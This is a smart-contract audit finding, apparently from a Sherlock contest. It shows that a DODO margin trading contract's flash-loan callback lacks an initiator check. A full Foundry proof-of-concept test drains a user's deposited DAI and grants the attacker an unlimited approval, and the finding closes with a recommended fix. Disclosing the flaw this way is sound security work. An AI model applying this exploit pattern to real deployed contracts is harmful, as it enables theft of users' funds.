smiling_heretic

high

# Anyone can trigger `marginTrading.executeOperation` and steal all the funds from this contract

## Summary

`marginTrading.executeOperation` can be triggered by anyone because of insufficient access control. An arbitrary external call in this function allows the attacker to send all the funds from the contract to himself.


## Vulnerability Detail

The function `executeOperation` in `marginTrading` contract is meant to be called by `lendingPool` as the flash loan callback. The intention here that it can be called only if `marginTrading` contract itself initiates the flash loan. It's protected by the modifier `onlyLendingPool` to achieve these ends.

However, anyone can trigger this function by calling `lendingPool.flashLoan` and specifying the `receiver` argument as the `marginTrading` contract.

Moreover, the attacker can pass arbitrary `params` to `executeOperation` and these `params` are passed in turn to `_opentrade` internal function. In `_opentrade`, there's  `_swapAddress.call(_swapParams);` where `_swapAddress` and `_swapParams` are controlled by the attacker by specifying `params`.

This way, the attacker can perform any call with `msg.sender == marginTrading`. For example, he can send funds from this contract (or even funds only approved for this contract) to himself (by calling `token.transferFrom`).

## Impact

Anyone can steal all funds from `marginTrading`. Even tokens just approved for this contract can be stolen.

## Proof of Concept
First, let's establish that AAVE lending pools call `executeOperation` on `receiver` passed as an argument, not necessarily on `msg.sender`.

Here's a quote from the [docs](https://docs.aave.com/developers/guides/flash-loans):

> After some sanity checks, the Pool transfers the requested amounts of the reserves to your contract, then calls executeOperation() on receiver contract .

We can also check the code of AAVE [V1](https://github.com/aave/aave-protocol/blob/4b4545fb583fd4f400507b10f3c3114f45b8a037/contracts/lendingpool/LendingPool.sol#LL881C74-L881C74), [V2](https://github.com/aave/protocol-v2/blob/ce53c4a8c8620125063168620eba0a8a92854eb8/contracts/protocol/lendingpool/LendingPool.sol#L510), and [V3](https://github.com/aave/aave-v3-core/blob/29ff9b9f89af7cd8255231bc5faf26c3ce0fb7ce/contracts/protocol/libraries/logic/FlashLoanLogic.sol#L102)

Now that we have this established, let's replace [this line](https://github.com/sherlock-audit/2023-05-dodo/blob/930565dd875dac24609441423c7c76c2ae4719a8/dodo-margin-trading-contracts/contracts/mock/MockLendingPoolV2.sol#L129) in `mock/MockLendingPoolV2.sol` in `flashLoan` function by `IFlashLoanReceiver(receiverAddress).executeOperation(
            assets,
            amounts,
            _premiums,
            msg.sender,
            params
        );` to mimic the on-chain behavior of AAVE more accurately.

Add this test file `dodo-margin-trading-contracts/test/marginTrading/Exploit.t.sol`:

```solidity
pragma solidity 0.8.15;

import "../Context.t.sol";

contract Exploit is Context {
    function setUp() public {
        contextBasicV2();
        approveAllTokenV2();
    }

    function testExploit() public {
        address attacker = address(6666);

        faucet(address(dai), user1, 100 ether);
        faucetWeth(address(lendingPoolV2), 10000 ether);
        uint256 depositAmt = 100 ether;

        vm.startPrank(user1);
        // An honest, unsuspecting user creates a margin trading contract by calling factory
        address _marginTrading = createMarginTradingContract();
        // He deposits 100 DAI to this contract
        marginTradingFactory.depositMarginTradingERC20(
            _marginTrading,
            address(dai),
            depositAmt,
            false,
            1
        );

        vm.stopPrank();

        console2.log("before attack");
        console2.log(dai.balanceOf(address(_marginTrading)));
        console2.log(dai.balanceOf(attacker));
        console2.log(dai.allowance(address(_marginTrading), attacker));

        assertEq(dai.balanceOf(address(_marginTrading)), 100 ether);
        assertEq(dai.balanceOf(attacker), 0);
        assertEq(dai.allowance(address(_marginTrading), attacker), 0);

        vm.startPrank(attacker);
        // attacker prepares swap params for executeOperation to transfer all DAI to himself
        bytes memory swapParams = abi.encodeWithSignature(
            "transfer(address,uint256)",
            attacker,
            depositAmt
        );
        bytes memory executeParams;
        {
            address[] memory _withdrawAssets = new address[](1);
            uint256[] memory _withdrawAmounts = new uint256[](1);
            uint256[] memory _rateMode = new uint256[](1);
            address[] memory _debtTokens = new address[](1);
            address[] memory _tradeAssets = new address[](0);

            // attacker prepares swap params for executeOperation to get infinite approval for DAI
            address[] memory _swapApproveToken = new address[](1);
            _swapApproveToken[0] = address(dai);

            executeParams = encodeExecuteParams(
                1,
                // we use the swapAddress.call(_swapParams) to call dai.transfer(attacker, depositAmt)
                address(dai),
                // our infinite approvals will be for the attacker
                attacker,
                _swapApproveToken,
                swapParams,
                _tradeAssets,
                _withdrawAssets,
                _withdrawAmounts,
                _rateMode,
                _debtTokens
            );
        }
        // we tell lending pool to call executeOperation on the marginTrading contract after the flash loan
        address receiver = _marginTrading;

        // remaining arguments don't really matter, we care here only about triggering executeOperation callback
        address[] memory _assets = new address[](1);
        _assets[0] = address(weth);
        uint256[] memory _amounts = new uint256[](1);
        _amounts[0] = 0;
        uint256[] memory _modes = new uint256[](1);
        _modes[0] = 1;

        lendingPoolV2.flashLoan(
            receiver,
            _assets,
            _amounts,
            _modes,
            attacker,
            executeParams,
            uint16(0)
        );

        vm.stopPrank();

        console2.log();
        console2.log("after attack");
        console2.log(dai.balanceOf(address(_marginTrading)));
        console2.log(dai.balanceOf(attacker));
        console2.log(dai.allowance(address(_marginTrading), attacker));

        assertEq(dai.balanceOf(address(_marginTrading)), 0);
        assertEq(dai.balanceOf(attacker), 100 ether);
        assertEq(
            dai.allowance(address(_marginTrading), attacker),
            type(uint256).max
        );
    }
}
```

Run `forge test -vvv --match-path test/marginTrading/Exploit.t.sol`.


## Code Snippet

https://github.com/sherlock-audit/2023-05-dodo/blob/930565dd875dac24609441423c7c76c2ae4719a8/dodo-margin-trading-contracts/contracts/marginTrading/MarginTrading.sol#L127

https://github.com/sherlock-audit/2023-05-dodo/blob/930565dd875dac24609441423c7c76c2ae4719a8/dodo-margin-trading-contracts/contracts/marginTrading/MarginTrading.sol#L270

https://github.com/sherlock-audit/2023-05-dodo/blob/930565dd875dac24609441423c7c76c2ae4719a8/dodo-margin-trading-contracts/contracts/marginTrading/MarginTrading.sol#L267

## Tool used
Foundry, Manual Review

## Recommendation

Add a check the ensures that the `initiator` of the flash loan is indeed the `marginTrading` contract.
